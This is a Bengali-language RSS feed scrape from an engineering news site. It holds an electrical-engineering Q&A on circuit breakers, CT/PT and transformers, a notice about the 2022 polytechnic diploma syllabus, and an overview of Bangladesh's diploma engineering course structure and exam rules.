The post মেকানিক্যাল ইঞ্জিনিয়ারিং এর সরকারি চাকরির ক্ষেত্র সমূহ appeared first on theengineersnews.com.

]]>
https://theengineersnews.com/technology/4677/feed/ 0
ইলেকট্রিক্যাল ইঞ্জিনিয়ারদের জন্য কিছু গুরুত্বপূর্ণ প্রশ্ন ও উওর https://theengineersnews.com/technology/4672/ https://theengineersnews.com/technology/4672/#respond Mon, 31 Oct 2022 17:34:44 +0000 https://theengineersnews.com/?p=4672 ইলেকট্রিক্যাল ইঞ্জিনিয়ারদের জন্য কিছু গুরুত্বপূর্ণ প্রশ্ন ও উওর। উন্নত বিশ্বের সাথে তাল মিলিয়ে এখন সবাই অনলাইনের মাধ্যমে কিছু শেখার জন্য চেষ্টা করে। বর্তমানে প্রায় সবার হাতেই একটা করে স্মার্টফোন রয়েছে,যার মাধ্যমে ঘরে বসে অনেক কিছু সম্পর্কে জানতে পারে। সবাই যেন ঘরে বসে ভালো কিছু শিখতে পারে ,এজন্য বিভিন্ন সময় বিভিন্ন ধরনের প্রশ্ন এবং প্রশ্নের উত্তর …

The post ইলেকট্রিক্যাল ইঞ্জিনিয়ারদের জন্য কিছু গুরুত্বপূর্ণ প্রশ্ন ও উওর appeared first on theengineersnews.com.

]]>
ইলেকট্রিক্যাল ইঞ্জিনিয়ারদের জন্য কিছু গুরুত্বপূর্ণ প্রশ্ন ও উওর। উন্নত বিশ্বের সাথে তাল মিলিয়ে এখন সবাই অনলাইনের মাধ্যমে কিছু শেখার জন্য চেষ্টা করে। বর্তমানে প্রায় সবার হাতেই একটা করে স্মার্টফোন রয়েছে,যার মাধ্যমে ঘরে বসে অনেক কিছু সম্পর্কে জানতে পারে। সবাই যেন ঘরে বসে ভালো কিছু শিখতে পারে ,এজন্য বিভিন্ন সময় বিভিন্ন ধরনের প্রশ্ন এবং প্রশ্নের উত্তর এবং বিভিন্ন প্রকার নিউজ দিয়ে থাকি। আজকে ইলেকট্রিক্যাল ইঞ্জিনিয়ারদের জন্য কিছু গুরুত্বপূর্ণ প্রশ্ন ও প্রশ্ন  এর  উওর নিয়ে আলোচনা করব ।

 

 

 

 

ইলেকট্রিক্যাল ইঞ্জিনিয়ারদের জন্য কিছু গুরুত্বপূর্ণ প্রশ্ন ও উওর

প্রশ্নঃ VCB কাকে বলে??

উওর: VCB অর্থ Vacuum circuit breaker.11kv লাইন অন অফ করার জন্য যে সার্কিট ব্রেকার সাধারণত ব্যবহার করা হয় তাকে ভ্যাকুয়াম সার্কিট বেকার বা VCB বলে . (অবশ্যই 500 এম্পিয়ার এর উপরে হতে হবে)

প্রশ্নঃ কোন ধরনের সুইচগিয়ারে ACB ব্যবহার করা হয়?

উওরঃ (LT Switchgear) লো-ভোল্টেজ লাইনে ACB ব্যবহার করা হয়।

প্রশ্নঃ সার্কিট ব্রেকার কত প্রকার এবং কি কি?

উওরঃ সাব-স্টেশন লাইনে মূলত চার প্রকার সার্কিট ব্রেকার ব্যভার করা হয়, LT Switchgear = MCB, MCCB, ACB HT Switchgear = VCB.

প্রশ্নঃ HT/LT #সুইচগিয়ারে কোন ধরনের সার্কিট ব্রেকার ব্যবহার করা হয়?

উওরঃ HT/LT সুইচগিয়ারে মূলত LT Switchgear = MCB, MCCB, ACB HT Switchgear = VCB ব্যবহার করা হয়।

প্রশ্নঃ 500 KVA #ট্রান্সফরমার HT সুইচগিয়ারের জন্য কোন ধরনের সার্কিট ব্রেকার ব্যবহার করা হয়?

উওরঃ 500 KVA ট্রান্সফরমার HT সুইচগিয়ারের জন্য VCB সার্কিট ব্রেকার ব্যবহার করা হয়।

প্রশ্নঃ 350 KVA ট্রান্সফরমার HT সুইচগিয়ারের জন্য কোন ধরনের সার্কিট ব্রেকার ব্যবহার করা হয়?

উওরঃ 350 KVA ট্রান্সফরমার HT সুইচগিয়ারের জন্য LBS ব্যবহার করা হয়।

প্রশ্নঃ LBS, VCB, MCCB, MCB, ACB কি?

উওরঃ LBS (Load break switch) MCB (Miniature circuit breaker) MCCB (Moulded case circuit breaker) ACB (AIR Circuit Breaker) VCB (Vacuum Circuit Breaker)

প্রশ্নঃ বাস-বার কি?

উওরঃ মোটামোটি সবাই জানি বাসবার হচ্ছে এক ধরনের তামা(copper) বা অ্যালুমোনিয়াম(Aluminum) এর তৈরি পরিবাহির পাত বা পরিবাহির বার অথবা পরিবাহির রড। বাসবার একাদিক ইলেকট্রিক্যাল সার্কিট থেকে ইলেকট্রিক্যাল এনার্জি সংগ্রহ করে এবং বিতরন করে।

প্রশ্নঃ কিসের উপরের ভিত্তে করে বাসবার সিলেকশন করা হয়?

উওরঃ লাইনের কারেন্টের উপর ভিত্তি করে বাসবার সিলেকশন করা হয়।

প্রশ্নঃ কেন বাসবার সিলেকশনের ক্ষেত্রে কপার নেয়া হয়?

উওরঃ কারন কপারের ইফেসিয়েন্সি অনেক বেশি এজন্য।

প্রশ্নঃ সাব-স্টেশন লাইনে CT & PT কিভাবে কানেকশন করা হয়?

উওরঃ CT সিরিজে কানেকশন দেয়া হয় ও PT প্যারালালে কানেকশন দেয়া হয়।

প্রশ্নঃ CT কত প্রকার ও কি কি?

উওরঃ কারেন্ট ট্রান্সফরমার ৩ ধরনের, Wound Current Transformer Toroidal Current Transformer Bar-type Current Transformer

প্রশ্নঃ CT 5P 20 30VA রেটিং মানে কি বোঝায়?

উওরঃ 5= % of Error P= Protection Class 20=Multiply by 20 line current 30VA= Barden of circuit breaker

প্রশ্নঃ CT & PT কোন ধরনের ট্রান্সফরমার?

উওরঃ CT & PT হচ্ছে ইন্সট্রোমেন ট্রান্সফরমার।

প্রশ্নঃ CT & PT পার্থক্য কি?

উওরঃ CT হলো হাই কারেন্ট পরিমাপ করে এবং লাইন কে অনাকাঙ্ক্ষিত কারেন্ট থেকে রক্ষা করে। ও PT হলো হাই ভোল্টেজ পরিমাপ করে এবং লাইন কে অনাকাঙ্ক্ষিত ভোল্টেজ থেকে রক্ষা করে।

প্রশ্নঃ CT & PT তে কোন ধরনের রিলে ব্যবহার করা হয়?

উওরঃ IDMT Relay, Deferential relay, Directional relay etc..

প্রশ্ন- . ট্রান্সফরমারের কর্মদক্ষতা বেশি হয়ে থাকে কেন?

উত্তরঃ ট্রান্সফরমার একটি স্ট্যাটিক ডিভাইস অর্থাৎ স্থির যন্ত্র। এতে কোন ঘূর্ণায়মান অংশ নেই, ফলে ঘর্ষণজনিত কোন ক্ষয় বা লস এতে নেই। অন্যান্য ঘূর্ণায়মান যন্ত্রের তুলনায় ট্রান্সফরমারে লস অনেক কম। তাই ট্রান্সফরমারের কর্মদক্ষতা সবচাইতে বেশি। ট্রান্সফরমারের কর্মদক্ষতা ৯৫%-৯৮% পর্যন্ত হয়ে থাকে।

ইলেকট্রিক্যাল ইঞ্জিনিয়ারদের জন্য কিছু গুরুত্বপূর্ণ প্রশ্ন ও উওর

প্রশ্ন- . ট্রান্সফরমারের রেটিং kW এ না লিখে kVA লেখা হয়ে থাকে কেন?

উত্তরঃ ট্রান্সফরমারের মোট লস= কোর লস + কপার লস। কোর লস নির্ভর করে ভোল্টেজ এর উপর এবং কপার লস নির্ভর করে কারেন্টের উপর, কিন্তু ট্রান্সফরমারের মোট লস কারেন্ট ও ভোল্টেজের মধ্যবর্তী ফেজ কোণের উপর নির্ভর করেনা। kW এর সাথে পাওয়ার ফ্যাক্টর বা কারেন্ট ও ভোল্টেজের মধ্যবর্তী ফেজ এঙ্গেল জড়িত কিন্ত kVA এর সাথে পাওয়ার ফ্যাক্টর থাকেনা। এজন্য ট্রান্সফরমারের রেটিং kW এ না লিখে kVA লেখা হয়ে থাকে।

প্রশ্ন– ট্রান্সফরমার ব্যাংকিং কাকে বলে? ট্রান্সফরমার ব্যাংকিং করার শর্ত কি কি?

উত্তরঃ অনেক সময় ৩ ফেজ ট্রান্সফরমার ব্যবহার না করে তিনটি ১ ফেজ ট্রান্সফরমার এর সাহায্যে ৩ ফেজ সাপ্লাই দেয়া হয়, এই ব্যবস্থাকে ট্রান্সফরমার ব্যাংকিং বলে। ট্রান্সফরমার ব্যাংকিং করার শর্তঃ

১) প্রতিটি ট্রান্সফরমার এর kVA রেটিং একই হতে হবে।

২) প্রতিটি ট্রান্সফরমার এর ভোল্টেজ রেটিং একই হতে হবে।

৩) সঠিক পোলারিটি অনুযায়ী সংযোগ দিতে হবে।

প্রশ্ন- অটো ট্রান্সফরমার সম্পর্কে লেখ। এর ব্যবহার লিখ।

উত্তরঃ অটো ট্রান্সফরমার এমন এক ব্যাতিক্রমি ট্রান্সফরমার যার মধ্যে কেবল একটি ওয়াইন্ডিং থাকে। ইহার কিছু অংশ প্রাইমারি আর কিছু অংশ সেকেন্ডারি, উভয় কয়েল ইলেকট্রিক্যাল ও ম্যাগনেটিক্যালি সংযুক্ত থাকে। তারপরও একে ট্রান্সফরমার বলা হয়, কারণ ইহার কার্যপ্রণালী দুই ওয়াইন্ডিং ট্রান্সফরমার এর মতই। এর ব্যবহারঃ ১) ডিস্ট্রিবিউশন লাইনে ভোল্টেজ ঘাটতি পুরনে ইহা ব্যবহার করা হয়। ২) ৩-ফেজ ইন্ডাকশন মোটর চালু করার কাজে ব্যবহার হয়। ৩) রাজপথ আলোকিত করার কাজে ইহা ব্যবহার হয়। ৪) রেডিও ইলেক্ত্রনিক্সে ইহা ব্যবহার করা হয়।

প্রশ্নঃ সাবস্টেশন কি?

উওরঃ সাবস্টেশন হচ্ছে পাওয়ার সিস্টেমের একটি অংশ যা বিদ্যুৎ উৎপাদন, পরিবহণ, সঞ্চালন, বিতরণ ও নিয়ন্ত্রণ ব্যবস্থা ।

প্রশ্নঃ ১১কেভি সাবস্টেশনের কি কি ইকুপমেন্ট থাকে?

উওরঃ Ø ট্রান্সফরমার Ø LT সুইচগিয়ার Ø HT সুইচগিয়ার Ø PFI প্লান্ট।

প্রশ্নঃ সুইচগিয়ার কি?

উওরঃ সুইচগিয়ার হচ্ছে বিভিন্ন যন্ত্রপাতি,যা বৈদ্যুতিক ব্যবস্থাকে সুইচিং,কন্ট্রোলিং এবং রক্ষা করে থাকে।( রিলে,সার্কিট ব্রেকার,ম্যাগনেটিক কন্টাক্টর ইত্যাদি)

প্রশ্নঃ সুইচগিয়ার কত প্রকার?

উওরঃØ LT সুইচগিয়ার Ø HT সুইচগিয়ার

প্রশ্নঃ LT & HT সুইচগিয়ার বলতে কি বুঝ?

উওরঃ LT সুইচগিয়ারঃ সাবস্টেশনের লো-সাইডের বৈদ্যুতিক ব্যবস্থাকে সুইচিং,কন্ট্রোলিং এবং রক্ষা করার প্রক্রিয়াকে LT সুইচগিয়ার বলে।

 

 

ডি ইঞ্জিনিয়ার্স নিউজ এর পোর্টালে ভিজিট করার জন্য আপনাকে অসংখ্য ধন্যবাদ। সকল আপডেট সবার আগে পেতে আমাদের নিউজ পোর্টাল ভিজিট করুন এবং ফেসবুক পেজে লাইক/ফলো দিয়ে রাখুন।

The post ইলেকট্রিক্যাল ইঞ্জিনিয়ারদের জন্য কিছু গুরুত্বপূর্ণ প্রশ্ন ও উওর appeared first on theengineersnews.com.

]]>
https://theengineersnews.com/technology/4672/feed/ 0
পলিটেকনিক ডিপ্লোমা ইন ইঞ্জিনিয়ারিং সিলেবাস ২০২২ প্রবিধান https://theengineersnews.com/polytechnic/4119/ https://theengineersnews.com/polytechnic/4119/#respond Mon, 12 Sep 2022 12:23:42 +0000 https://theengineersnews.com/?p=4119 পলিটেকনিক ডিপ্লোমা ইন ইঞ্জিনিয়ারিং সিলেবাস প্রকাশ করেছে বাংলাদেশ কারিগরি শিক্ষা বোর্ড। পূর্বের শিক্ষার্থীদের ২০১০ এবং ২০১৬ প্রবিধান এর সিলেবাস পড়ানো হলেও এখন নতুন করে ২০২২ প্রবিধান এর সিলেবাস প্রকাশিত হয়েছে। এখন থেকে ২০২২ প্রবিধান এর সিলেবাস অনুযায়ী শিক্ষা কার্যক্রম পরিচালনা করা হবে । ২০২২ প্রবিধান (২০২১-২০২২) শিক্ষা বর্ষ হতে কার্যকর হয়েছে। আমাদের ওয়েবসাইটের মাধ্যমে আপনি …

The post পলিটেকনিক ডিপ্লোমা ইন ইঞ্জিনিয়ারিং সিলেবাস ২০২২ প্রবিধান appeared first on theengineersnews.com.

]]>
পলিটেকনিক ডিপ্লোমা ইন ইঞ্জিনিয়ারিং সিলেবাস প্রকাশ করেছে বাংলাদেশ কারিগরি শিক্ষা বোর্ড। পূর্বের শিক্ষার্থীদের ২০১০ এবং ২০১৬ প্রবিধান এর সিলেবাস পড়ানো হলেও এখন নতুন করে ২০২২ প্রবিধান এর সিলেবাস প্রকাশিত হয়েছে। এখন থেকে ২০২২ প্রবিধান এর সিলেবাস অনুযায়ী শিক্ষা কার্যক্রম পরিচালনা করা হবে । ২০২২ প্রবিধান (২০২১-২০২২) শিক্ষা বর্ষ হতে কার্যকর হয়েছে। আমাদের ওয়েবসাইটের মাধ্যমে আপনি সকল ডিপার্টমেন্টের সকল সেমিস্টার সিলেবাস দেখতে পারবেন। সিলেবাস পাওয়ার জন্য শিক্ষার্থীদের অবশ্যই সিলেবাসের পিডিএফ অথবা ইমেজ ফাইল ডাউনলোড করতে হবে অথবা অনলাইনে দেখতে হবে। নিচে ২০২২ প্রবিধান এর পলিটেকনিক ডিপ্লোমা ইন ইঞ্জিনিয়ারিং এর সিলেবাস দেখুন।

 

পলিটেকনিক ডিপ্লোমা ইন ইঞ্জিনিয়ারিং সিলেবাস ২০২২ প্রবিধান

বোর্ড নামঃ বাংলাদেশ কারিগরি শিক্ষা বোর্ড

ডিপার্টমেন্ট নামঃ সকল ডিপার্টমেন্ট

প্রবিধান সনঃ ২০২২

সেমিস্টারঃ সকল সেমিস্টার

অফিশিয়াল ওয়েবসাইটঃ www.bteb.gov.bd

বাংলাদেশ কারিগরি শিক্ষা বোর্ড ২০২১-২০২২ শিক্ষাবর্ষের কারিগরি বোর্ডের ডিপ্লোমা কোর্সের ২০২২ প্রবিধান এর সিলেবাস প্রকাশ করেছে ।

কারিগরি শিক্ষা বোর্ডের দাপ্তরিক ওয়েবসাইটে (www.bteb.gov.bd), ২৬ এপ্রিল ২০২২ খ্রি. তারিখে ডিপ্লোমা কোর্সের সিলেবাসের পিডিএফ কপি আপলোড করা হয়।কারিগরি বোর্ডের ওয়েবসাইট থেকে ২০২২ সালের ডিপ্লোমার সকল কোর্সের সিলেবাস ও প্রবিধান সংগ্রহ করা যাবে।

আরো দেখুন:

বাংলাদেশের সরকারী পলিটেকনিক ইন্সটিটিউটের তালিকা Government Polytechnic Institutes List

বাংলাদেশের সেরা ১০ পলিটেকনিক ইনস্টিটিউট । Top 10 Polytechnic Institutes in Bangladesh

বেসরকারি পলিটেকনিক ইনস্টিটিউট এর তালিকা

ডিপ্লোমা ইন ইঞ্জিনিয়ারিং ২০২২ প্রবিধান এর সিলেবাস পিডিএফ নিচে দেওয়া হল:

 

ডিপ্লোমা ইন ইঞ্জিনিয়ারিং ২০২২ প্রবিধান এর সিলেবাস পিডিএফ

 

এছাড়া কারিগরি বোর্ডের ডিপ্লোমা সকল কোর্সের সিলেবাস সংগ্রহ করতে নিচের লিংকে ক্লিক করুন :

 

কারিগরি বোর্ডের ডিপ্লোমা সকল কোর্সের সিলেবাস পিডিএফ

 

সকলের সুবিধার জন্য ডিপ্লোমা ইন ইঞ্জিনিয়ারিং এর ২০২২ প্রবিধান এর সিলেবাস ছবি আকারে নিচে দেওয়া হল:

ডিপ্লোমা-ইন-ইঞ্জিনিয়ারিং-২০২২-প্রবিধান-এর-সিলেবাস

 

ডি ইঞ্জিনিয়ার্স নিউজ এর পোর্টালে ভিজিট করার জন্য আপনাকে অসংখ্য ধন্যবাদ। সকল আপডেট সবার আগে পেতে আমাদের নিউজ পোর্টাল ভিজিট করুন এবং ফেসবুক পেজে লাইক/ফলো দিয়ে রাখুন।

The post পলিটেকনিক ডিপ্লোমা ইন ইঞ্জিনিয়ারিং সিলেবাস ২০২২ প্রবিধান appeared first on theengineersnews.com.

]]>
https://theengineersnews.com/polytechnic/4119/feed/ 0
পলিটেকনিক বা ডিপ্লোমা ইঞ্জিনিয়ারিং এ পড়াশোনার ক্যারিয়ার ,উচ্চশিক্ষা ইত্যাদি নিয়ে বিস্তারিত আলোচনা  https://theengineersnews.com/polytechnic/3064/ https://theengineersnews.com/polytechnic/3064/#respond Wed, 08 Dec 2021 17:35:09 +0000 https://theengineersnews.com/?p=3064 পলিটেকনিক বা ডিপ্লোমা ইঞ্জিনিয়ারিং এ পড়াশোনার ক্যারিয়ার উচ্চশিক্ষা ইত্যাদি নিয়ে বিস্তারিত আলোচনা  । পলিটেকনিক বা ডিপ্লোমা ইঞ্জিনিয়ারিং হচ্ছে মানুষের সমস্যাবলী সমাধান এবং জীবনকে সহজ করার জন্য বৈজ্ঞানিক এবং প্রযুক্তিগত জ্ঞানের প্রয়োগ। প্রকৌশলীগণ বিজ্ঞান, প্রযুক্তি, গণিত এবং বাস্তব অভিজ্ঞতা প্রয়োগ করুনবার জন্য তাঁদের কল্পনাশক্তি, বিচারক্ষমতা এবং যুক্তি প্রয়োগ ক্ষমতা ব্যবহার করেন। এর ফলাফল হচ্ছে উন্নতর নিত্য …

The post পলিটেকনিক বা ডিপ্লোমা ইঞ্জিনিয়ারিং এ পড়াশোনার ক্যারিয়ার ,উচ্চশিক্ষা ইত্যাদি নিয়ে বিস্তারিত আলোচনা  appeared first on theengineersnews.com.

]]>
পলিটেকনিক বা ডিপ্লোমা ইঞ্জিনিয়ারিং এ পড়াশোনার ক্যারিয়ার উচ্চশিক্ষা ইত্যাদি নিয়ে বিস্তারিত আলোচনা  । পলিটেকনিক বা ডিপ্লোমা ইঞ্জিনিয়ারিং হচ্ছে মানুষের সমস্যাবলী সমাধান এবং জীবনকে সহজ করার জন্য বৈজ্ঞানিক এবং প্রযুক্তিগত জ্ঞানের প্রয়োগ। প্রকৌশলীগণ বিজ্ঞান, প্রযুক্তি, গণিত এবং বাস্তব অভিজ্ঞতা প্রয়োগ করুনবার জন্য তাঁদের কল্পনাশক্তি, বিচারক্ষমতা এবং যুক্তি প্রয়োগ ক্ষমতা ব্যবহার করেন। এর ফলাফল হচ্ছে উন্নতর নিত্য প্রয়োজনীয় বস্তু ও নিত্য ব্যবহার্য করুন্ম পদ্ধতির আবির্ভাব যেটি প্রতিদিনের জীবনকে সহজ করে দেয়।

 

পলিটেকনিক বা ডিপ্লোমা ইঞ্জিনিয়ারিং এ পড়াশোনার ক্যারিয়ার উচ্চশিক্ষা ইত্যাদি নিয়ে বিস্তারিত আলোচনা

তুলনামূলক কম সময়ে কোর্স সমাপ্তি আর কোর্স শেষে ন্যূনতম চাকরির নিশ্চয়তা থাকে এখানে। এ দুয়ে মিলে ডিপ্লোমা ইঞ্জিনিয়ারিং চাহিদা হালের শিক্ষার্থীদের কাছে সবচেয়ে বেশি। চার বছর মেয়াদি এই কোর্সে ভর্তি হতে হয় এসএসসি (ssc) বা মাধ্যমিকির পর।

ডিপ্লোমা ইঞ্জিনিয়ারিং (ইংরেজি: Diploma in Engineering)

ইঞ্জিনিয়ার বলতে বুঝায় মানুষের জীবনকে সহজ করার জন্য বৈজ্ঞানিক এবং প্রযুক্তিগত জ্ঞানের প্রয়োগ। ডিপ্লোমা হলো একটি ডিগ্রী যেখানে ব্যবহারিক ও তাত্ত্বিক বিষয় সমান গুরুত্বদিয়ে পড়াশুনা করানো হয়।

বাংলাদেশের প্রেক্ষাপটে পলিটেকনিক বা ডিপ্লোমা ইঞ্জিনিয়ারিং ৪ বছর মেয়াদি কোর্স। এস এস সি পরীক্ষা দেবার পর ছাত্র-ছাত্রী পলিটেকনিক বা ডিপ্লোমা ইঞ্জিনিয়ারিং কোর্সে ভর্তি হবার যোগ্যতা লাভ করে থাকেন।

কারিগরি শিক্ষা অধিদপ্তরের আওতায় পরিচালিত ডিপ্লোমা ইঞ্জিনিয়ারিং কোর্সে বিভিন্ন জেলা শহরে অবস্থিত সরকারি পলিটেকনিক ইনস্টিটিউট ছাড়াও বেসরকারি পলিটেকনিক ইনস্টিটিউট, ইনস্টিটিউট অব গ্লাস অ্যান্ড সিরামিক, গ্রাফিক আর্টস ইনস্টিটিউট, বাংলাদেশ সার্ভে ইনস্টিটিউটে শিক্ষার্থী ভর্তি করানো হয়।

আরো দেখুন

বাংলাদেশের সেরা ১০ পলিটেকনিক ইনস্টিটিউট । Top 10 Polytechnic Institutes in Bangladesh

বাংলাদেশের ডিপ্লোমা ইঞ্জিনিয়ারিং

পলিটেকনিক ইন্সটিটিউট সমূহে বাংলাদেশ কারিগরি শিক্ষা বোর্ড এর অধীনে চার(৪) বছর মেয়াদী শিক্ষাক্রম পরিচালিত হয়। চার বছর মেয়াদী শিক্ষাক্রম আটটি(৮) পর্বে বিভক্ত যাদের সেমিষ্টার বলা হয়। এক একটি সেমিষ্টারের কার্য দিবস ১৬-১৮ সপ্তাহ। সে হিসেবে প্রতি বর্ষের কার্য দিবস ৩২-৩৬ সপ্তাহ। নির্ধারিত কার্য দিবস শেষ হওয়ার পর পর্ব সমাপণি পরীক্ষা অনুষ্ঠিত হয়।

মাইনিং এন্ড মাইন সার্ভে টেকনোলজী: বাংলাদেশের একমাত্র খনিজ সম্পদ বিষয়ক অনুষদ যা ২০০৬ সালে খসড়া কয়লা নীতির সুপারিশ অনুসারে বগুড়া পলিটেকনিক ইন্সটিটিউটে কার্যক্রম শুরু করে।

বাংলাদেশ কলেজ অব লেদার টেকনোলজি: বাংলাদেশ কলেজ অব লেদার টেকনোলজি বাংলাদেশের একটি কারিগরি শিক্ষা প্রতিষ্ঠান যা ১৯৪৭ সালে প্রতিষ্ঠিত হয়।

মাইনিং এন্ড মাইন সার্ভে টেকনোলজী: বাংলাদেশের একমাত্র খনিজ সম্পদ বিষয়ক অনুষদ যা ২০০৬ সালে খসড়া কয়লা নীতির সুপারিশ অনুসারে বগুড়া পলিটেকনিক ইন্সটিটিউটে কার্যক্রম শুরু করে।

বাংলাদেশ ইন্সটিটিউট অব গ্লাস এন্ড সিরামিকস : বাংলাদেশের একমাত্র এবং সবচেয়ে পুরাতন ইন্সটিটউট। এই পলিটেকনিক ইনস্টিটিউটটি ১৯৫১ সালে প্রতিষ্ঠিত হয়। এই প্রতিষ্ঠানে বর্তমানে বাংলাদেশ কারিগরি শিক্ষাবোর্ডের অধীনে চার বছর মেয়াদী “ডিপ্লোমা ইন ইঞ্জিনিয়ারিং” কোর্স চালু রয়েছে।
গ্রাফিক আর্টস ইন্সটিটিউট: বাংলাদেশের একমাত্র প্রিন্টিং এবং গ্রাফিক ডিজাইন ইন্সটিটউট। এই পলিটেকনিক ইন্সটিটউটটি ১৯৬৭ সালে প্রতিষ্ঠিত হয়। এই প্রতিষ্ঠানে বর্তমানে চার বছর মেয়াদী ডিপ্লোমা-ইন-ইঞ্জিনিয়ারিং কোর্সে ৩ টি বিভাগ চলমান রয়েছে।

বাংলাদেশ সার্ভে ইন্সটিটিউট: শিক্ষা মন্ত্রণালয়ের অধীন কারিগরি শিক্ষা অধিদপ্তরের একটি শিক্ষা প্রতিষ্ঠান। বাংলাদেশ সার্ভে ইন্সটিটিউট ১৯১৪ সালে প্রতিঠিত হয়। এই প্রতিষ্ঠানে পলিটেকনিক বা ডিপ্লোমা ইঞ্জিনিয়ারিং (সার্ভে) চার বছর মেয়াদী একটি কোর্স চালু আছে। বাংলাদেশ সার্ভে ইন্সটিটিটে প্রথম শিফ্ট ও দ্বিতীয় শিফ্টে ছাত্র-ছাত্রীদের শিক্ষাকার্যক্রম পরিচালিত হচ্ছে। এই সার্ভে কোর্সের মাধ্যমে শিক্ষার্থীদের মানোন্নয়ন ও দক্ষ মানব সম্পদ সৃষ্টি করা হচ্ছে। ছাত্র-ছাত্রীরা এই শিক্ষা গ্রহণ করে দেশের অভ্যন্তরে এই শিক্ষা সংশিষ্ট বিভিন্ন সংস্থায় ও আন্তর্জাতিক বিভিন্ন সংস্থায় দক্ষতার সহিত নিয়োজিত আছে।

পলিটেকনিক বা ডিপ্লোমা ইঞ্জিনিয়ারিং কোর্স সম্পর্কিত ধারণা

পলিটেকনিক বা ডিপ্লোমা ইঞ্জিনিয়ারিং কোর্স চারবছর মেয়াদী (৮সেমিস্টার বিশিষ্ট) কোর্স। প্রতি সেমিস্টারের পূর্ণ মেয়াদ হচ্ছে ৬ মাস। প্রতি ৬ মাস পর পর সেমিস্টার পরিবর্তন হয়। প্রতি সেমিস্টারে একটি পর্ব মধ্য/মিডটার্ম পরীক্ষা হবে এবং একটি পর্ব সমাপনী/ফাইনাল পরীক্ষা হবে।প্রথমত পলিটেকনিক বা ডিপ্লোমা ইঞ্জিনিয়ারিং কোর্স করার জন্য দু ধরনের শিক্ষা প্রতিষ্ঠান রয়েছে। যেমন-(১) সরকারি পলিটেকনিক ইনস্টিটিউট ও সরকারি টেকনিক্যাল ইনস্টিটিউট (২) বেসরকারি পলিটেকনিক ইনস্টিটিউট

 সেমিস্টার সম্পর্কে বিস্তারিত ধারণা

আগেই বলেছি পলিটেকনিক বা ডিপ্লোমা ইঞ্জিনিয়ারিং কোর্স চারবছর মেয়াদী, ৮সেমিস্টার বিশিষ্ট একটি কোর্স। প্রতি বছর ২টি করে সেমিস্টার ফাইনাল পরীক্ষা হবে।এছাড়া আরও বিস্তারিত ভাবে বলতে গেলে প্রতি ৬ মাস পর পর সেমিস্টার পরিবর্তন হয়।
প্রতি সেমিস্টারে নতুন নতুন বই পড়তে হয়। সাধারণত প্রতি সেমিস্টারে ৬-৭টি করে বই থাকে, তারমধ্যে ৫-৬টি করে পরীক্ষা দেওয়া লাগে। ডিপার্টমেন্ট বেদে কম বেশি হয়ে থাকে পরীক্ষার বিষয়গুলা। প্রতি সেমিস্টার শুরুর ৩য় মাসে পর্ব মধ্য পরীক্ষা হয়ে থাকে, পর্ব মধ্য পরীক্ষার সিলেবাস বই এর অর্ধেক অধ্যায় পর্যন্ত হয়ে থাকে। এবং সেমিস্টার শুরুর ৫ম মাসের মাঝামাঝি সময়ে পর্ব সমাপনী পরীক্ষা হয়ে থাকে।। পর্ব সমাপনী পরীক্ষার সিলেবাস হচ্ছে সম্পূর্ণ বই।পর্ব মধ্য পরীক্ষার রেজাল্ট, জব, এসাইনমেন্ট,ভাইবা এবং ক্লাসের উপস্তিতির উপর নির্ভর করে স্যাররা পর্ব সমাপনী/ফাইনাল পরীক্ষার প্রেকটিকেল মার্ক দিয়ে থাকে।

প্রতি সেমিস্টারের জন্য কিছু % রয়েছে। যেমনঃ-
১ম পর্ব-৫%
২য় পর্ব-৫%
৩য় পর্ব-৫%
৪র্থ পর্ব-১০%
৫ম পর্ব -১৫%
৬ষ্ঠ পর্ব-২০%
৭ম পর্ব -২৫%
৮ম পর্ব-১৫%

বিশেষ দ্রষ্টব্য

পলিটেকনিক বা ডিপ্লোমা ইঞ্জিনিয়ারিং কোর্স কিন্তু GPA নয়। এটা CGPA হয়।। CGPA-এর পূর্ণরূপ হচ্ছে, cumulative great point average. cumulative শব্দের অর্থ হলো-ক্রমসঞ্চিত
বুঝাই যাচ্ছে, আপনার প্রতি সেমিস্টারের মার্ক উপরের পার্সেন্ট অনুসারে ক্রমান্বয়ে সঞ্চয় হতে থাকবে। পরবর্তীতে চারবছর পর আপনার সর্বমোট CGPA প্রদান করা হবে।বর্তমানে CGPA  হিসাব করার জন্য প্লে-ষ্টোরে কিছু ক্যালকুলেটর এপ্স পাবেন।

ইয়ার লস সম্পর্কে কিছু বিস্তারিত ধারণা

প্রথম সেমিস্টার থেকে ৩য় সেমিস্টার পর্যন্ত তিন বা তিন বিষয়ের অধিক বিষয়ে ফেইল/রেফার্ড খেলে ইয়ার ড্রপ বা ইয়ার লস বলে গণ্য হবে।। এক বা দুই বিষয়ে ফেইল করলে রেজাল্ট পাবলিশ হবার ১মাস পর পূণরায় পরীক্ষা নেওয়া হয়। পূণরায় পরীক্ষা অংশগ্রহণ করে এক বা উভয় বিষয়ে ফেইল করলে ইয়ার লস বা ড্রপ হিসাবে গণ্য হবে ঐ ছাত্র/ছাত্রী।

৪র্থ সেমিস্টার থেকে ৭ম সেমিস্টার পর্যন্ত চার বিষয় বা চার বিষয়ের অধিক বিষয়ে ফেইল করলে ইয়ার লস বা ড্রপ হিসাবে গণ্য হবে। এক বিষয় থেকে ৩য় বিষয় পর্যন্ত ফেইল করলে পরবর্তী সেমিস্টারে উত্তীর্ণ হতে পারবে। এবং ফেইল বিষয় গুলা সেমিস্টার ফাইনাল পরীক্ষার সাথে দিতে হবে।

বই সংক্রান্ত কিছু তথ্য

পলিটেকনিক বা ডিপ্লোমা ইঞ্জিনিয়ারিং কোর্সের মূল বই ইংরেজি ভার্সনের।। তাই মূল বই দিয়ে পড়াশুনা করানো হয় না।। বাজারে বিভিন্ন প্রকাশনির গাইড বই পাওয়া যায় সেগুলাই পড়তে হয়। এবং সেগুলা থেকেই প্রশ্ন ৯৯% কমন পাওয়া যায়।

আরো দেখুন

পলিটেকনিক ভর্তি বাতিল প্রক্রিয়া

পলিটেকনিক বা ডিপ্লোমা ইঞ্জিনিয়ারিং এ কেনো আমরা পড়াশোনা করবো

ডিপ্লোমা ইঞ্জিনিয়ারিং একটি পেশাদারী কোর্স যা প্রযুক্তির ক্ষেত্রে ব্যবহারিক জ্ঞান প্রদান করে। অনেক শিক্ষার্থী দশম বা দ্বাদশ শেষ করার পর পলিটেকনিকে যায়।

